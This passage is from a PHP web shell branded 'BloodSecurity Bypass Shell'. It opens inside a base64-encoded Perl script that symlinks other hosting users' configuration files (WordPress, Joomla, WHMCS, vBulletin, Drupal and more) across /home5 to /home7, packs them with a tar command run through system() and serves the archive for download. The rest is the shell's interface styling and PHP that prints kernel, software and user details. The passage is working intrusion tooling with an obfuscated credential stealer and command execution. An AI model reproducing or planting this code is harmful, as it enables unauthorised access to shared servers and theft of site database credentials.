Y29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nfn41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nfn40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLid+fmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJ35+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLid+fm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLid+fjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLid+flNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJ35+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+aW5maW5pdHkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywka29sYS4nfn5EcnVwYWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywka29sYS4nfn5EcnVwYWwxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG04LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLid+fjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLid+fjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJ35+aW52aXNpby50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fjcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nfn44LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJ35+bWstcG9ydGFsZTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJ35+MTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJ35+U21mLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nfn5waHBiYjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn5pbmZpbml0eS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLCRrb2xhLid+fkRydXBhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLCRrb2xhLid+fkRydXBhbDEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG00LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJ35+NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJ35+NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nfn5pbnZpc2lvLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLid+fjgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nfn5tay1wb3J0YWxlMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nfn4xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nfn5TbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLid+fnBocGJiMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fmluZmluaXR5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJGtvbGEuJ35+RHJ1cGFsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJGtvbGEuJ35+RHJ1cGFsMS50eHQnKTsNCn0NCmlmICgkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICdQT1NUJykgew0KICByZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCn0gZWxzZSB7DQogICRidWZmZXIgPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCn0NCkBwYWlycyA9IHNwbGl0KC8mLywgJGJ1ZmZlcik7DQpmb3JlYWNoICRwYWlyIChAcGFpcnMpIHsNCiAgKCRuYW1lLCAkdmFsdWUpID0gc3BsaXQoLz0vLCAkcGFpcik7DQogICRuYW1lID1+IHRyLysvIC87DQogICRuYW1lID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICR2YWx1ZSA9fiB0ci8rLyAvOw0KICAkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJEZPUk17JG5hbWV9ID0gJHZhbHVlOw0KfQ0KaWYgKCRGT1JNe3Bhc3N9IGVxICIiKXsNCnByaW50ICcNCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPg0KPHA+UGFpbiBTY3JpcHQgVG8gU3ltbGluayBDb25maWdzPC9wPjwvYT4gDQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRleHRhcmVhIG5hbWU9InBhc3MiIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogNTQzcHg7IGhlaWdodDogNDIwcHg7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojMDBGRkZGIiAgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDs8cD4NCjxpbnB1dCBuYW1lPSJ0YXIiIHR5cGU9InRleHQiIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogMjEycHg7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojMDBGRkZGOyAiICAvPjxiciAvPg0KJm5ic3A7PC9wPg0KPHA+DQo8aW5wdXQgbmFtZT0iU3VibWl0MSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR2V0IENvbmZpZyIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVkICMwMEZGRkY7IHdpZHRoOiA5OTsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6MTBwdDsgY29sb3I6IzAwRkZGRjsgdGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlOyBoZWlnaHQ6MjM7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQyIgLz48L3A+DQo8L2Zvcm0+JzsNCn1lbHNlew0KQGxpbmVzID08JEZPUk17cGFzc30+Ow0KJHkgPSBAbGluZXM7DQpvcGVuIChNWUZJTEUsICI+dGFyLnRtcCIpOw0KcHJpbnQgTVlGSUxFICJ0YXIgLWN6ZiAiLiRGT1JNe3Rhcn0uIi50YXIgIjsNCmZvciAoJGthPTA7JGthPCR5OyRrYSsrKXsNCndoaWxlKEBsaW5lc1ska2FdICA9fiBtLyguKj8pOng6L2cpew0KJmxpbCgkMSk7DQpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsNCmZvcigka2Q9MTska2Q8MTg7JGtkKyspew0KcHJpbnQgTVlGSUxFICQxLiRrZC4iLnR4dCAiOw0KfQ0KfQ0KIH0NCnByaW50Jzxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPg0KPHA+RG9uZSAhITwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+DQo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5DbGljayBIZXJlIFRvIERvd25sb2FkIFRhciBGaWxlPC9zcGFuPjwvZm9udD48L2E+PC9wPic7DQp9DQp9DQogcHJpbnQiDQo8L2JvZHk+DQo8L2h0bWw+Ijs='; 
?>
<html><head>
<html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title><?php echo str_replace('.','','BloodSecurity Hackers Shell');?></title>
	<link rel="shortcut icon" href="http://www14.0zz0.com/2015/03/06/20/654342123.png" type="image/x-icon" />
    </style>
    <style type="text/css">
   body,td{font: 10pt Tahoma;color:grey;line-height: 16px;}
     
    a {color:red;text-decoration:none;}
    a:hover{color: #f00;text-decoration:none;}
    .alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
    .alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
    .focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
    .fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
    .fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
    .head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
    .head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
    .head td span{font-weight:normal;}
    form{margin:0;padding:0;}
    h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
    ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
    u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
    input, textarea, button 
    a{
            font-size: 9pt;
            color: #009900;
			background-image:url('http://www6.0zz0.com/2015/04/30/07/559119213.jpg');
            font-family: verdana, sans-serif;
            background-color: #151515;
            border-left: 1px solid red;
            border-top: 1px solid red;
            border-right: 1px solid red;
            border-bottom: 1px solid red;
			text-decoration:none;
    }
    {
            font-size: 8pt;
            font-weight: normal;
            color: #ccc;
            font-family: verdana, sans-serif;
            background-color: #202020;
    }
     
    </style>
    <script type="text/javascript">
    function CheckAll(form) {
            for(var i=0;i<form.elements.length;i++) {
                    var e = form.elements[i];
                    if (e.name != 'chkall')
                    e.checked = form.chkall.checked;
        }
    }
    function $(id) {
            return document.getElementById(id);
    }
    function goaction(act){
            $('goaction').action.value=act;
            $('goaction').submit();
    }
    </script>
    </head>

                                      </div>
                                    </td>
                                            </tr>
                                    </table>
                             </div>
     <script>
     var ld=(document.all);
      var ns4=document.layers;
     var ns6=document.getElementById&&!document.all;
     var ie4=document.all;
      if (ns4)
            ld=document.loading;
     else if (ns6)
            ld=document.getElementById("loading").style;
     else if (ie4)
            ld=document.all.loading.style;
      function init()
     {
     if(ns4){ld.visibility="hidden";}
     else if (ns6||ie4) ld.display="none";
     }
     </script>

<noscript><i>Javascript required</i></noscript>

</html>


<script type="text/javascript">
function tukar(lama,baru){
	document.getElementById(lama).style.display = 'none';
	document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">
body{
				background-image:url('http://www6.0zz0.com/2015/04/30/07/559119213.jpg');
				background-color: #151515;
				background-repeat: repeat;
				background-attachment: fixed;
				background-size: 100% 100%;
				margin: 0px;
				font-family:Monospace, sans-serif;
}
.iNew-SubHome{
		
				background-color: #292929;
				width:25%;
				margin-top:20px;
}.mysql{
	background-color: #393939;
}
a {
text-decoration:none;
}
a:hover{
 border: 1px solid red; color: red; 
 }
*{
	font-size:13px;
	font-family:Monospace, sans-serif;
	color:#00B800;
}
#menu{
	text-decoration:none;
	margin:8px 2px 4px 2px;

}
#menu:hover {
text-decoration:none;
}

.tabnet{
	margin:15px auto 0 auto;
	border: 1px solid #333333;
}
.main {
	text-decoration:none;
	width:100%;
}
.gaya {
	color: #FF0000;
}
.inputz{
	
	background:#111111;
	border:0;
	padding:2px;
	border-bottom:1px solid #222222;
	border-top:1px solid #222222;
}
.inputzbut{
	background:#111111;
	color:#FF0000;
	margin:0 4px;
	border:1px solid #444444;

}
.inputz:hover, .inputzbut:hover{
	border-bottom:1px solid #FF0000;
	border-top:1px solid #FF0000;
}
.output {
	margin:auto;
	border:1px solid #FF0000;
	width:100%;
	height:400px;
	background:#000000;
	padding:0 2px;
}
.cmdbox{
	width:100%;
}
.head_info{
	padding: 0 4px;
}
.jaya{ font-family: ;}

.b374k{
	font-size:30px;
	padding:0;
	color:#444444;
}

.b374k_tbl{
	text-align:center;
	margin:0 4px 0 0;
	padding:0 4px 0 0;
	border-right:1px solid #333333;
}
.phpinfo table{
	width:100%;
	padding:0 0 0 0;
}
.phpinfo td{
	background:#111111;
	color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
	background:#191919;
	border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
	text-align:center;
	font-size:16px;
	padding:0;
	margin:30px 0 0 0;
	background:#222222;
	padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #FF0000;
}
.explore tr:hover{
background:#111111;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}
h1{
			font-size:50px;
			color:#fff;
			font-family:Abel,sans-serif;
			}

.btn{

  width: 112px;
  height: 22px;
  font-size: 12px;
  font-family:  Monospace, sans-serif;
  border-radius:3px;
  border-color:#000;
  margin:0.1px;
  text-decoration:none;
 background: #2c3e50;
	background: -webkit-linear-gradient(#2c3e50, #2c3e50);
	background: -moz-linear-gradient(#2c3e50, #2c3e50);
	background: -o-linear-gradient(#2c3e50, #2c3e50);
	background: -ms-linear-gradient(#333, #2c3e50);
	background: linear-gradient(#2c3e50, #2c3e50);
	-webkit-box-sizing: content-box;
	-moz-box-sizing: content-box;
	-o-box-sizing: content-box;
	-ms-box-sizing: content-box;
}
.btn:hover {
text-decoration:none;
 background: #292929;
	background: -webkit-linear-gradient(#393939, #292929);	
	background: -moz-linear-gradient(#393939, #292929);	
	background: -o-linear-gradient(#393939, #292929);	
	background: -ms-linear-gradient(#393939, #292929);	
	background: linear-gradient(#393939, #292929);
	color: #FF0000 ;
	outline: none;
}
.btn.title {
  font-family: Abel;
  font-size: 10px;
  color: #fff;
  line-height: 30px;
  float: left;
  padding: 0 10px;
  text-shadow: -1px -1px 1px rgba(0, 0, 0, 0.5);
  box-shadow: -1px 0 0 rgba(255, 255, 255, 0.1);
  border-left: 1px solid rgba(0, 0, 0, 0.3);
  
}
</style></head>

<body onLoad="document.getElementById('cmd').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info" ><center>
<table cellpadding="0" cellspacing="0" ><tr>
<td><table cellpadding="0" cellspacing="0" class="darkjin_tbl"><tr><td style="text-align:center"><h1><span style="font-family:Abel;font-size:50px;color:red"><br><img src="http://oi62.tinypic.com/vifocj.jpg" width="5%">BloodSecurity</span> Bypass Shell<img src="http://oi62.tinypic.com/vifocj.jpg" width="5%"></h1></td></tr>
<tr><td style="font-size:10px;text-align:center">
<?php
echo $buff = "Kernel Version : <b><span style='font-size:10px'>".$system."</b><br>"; 
 echo $buff = "Software : <b><span style='font-size:10px'>".$software."</b> |";
if($id != "") 
echo $buff = "Current User : <b><span style='font-size:10px'>".$id."</b> |";
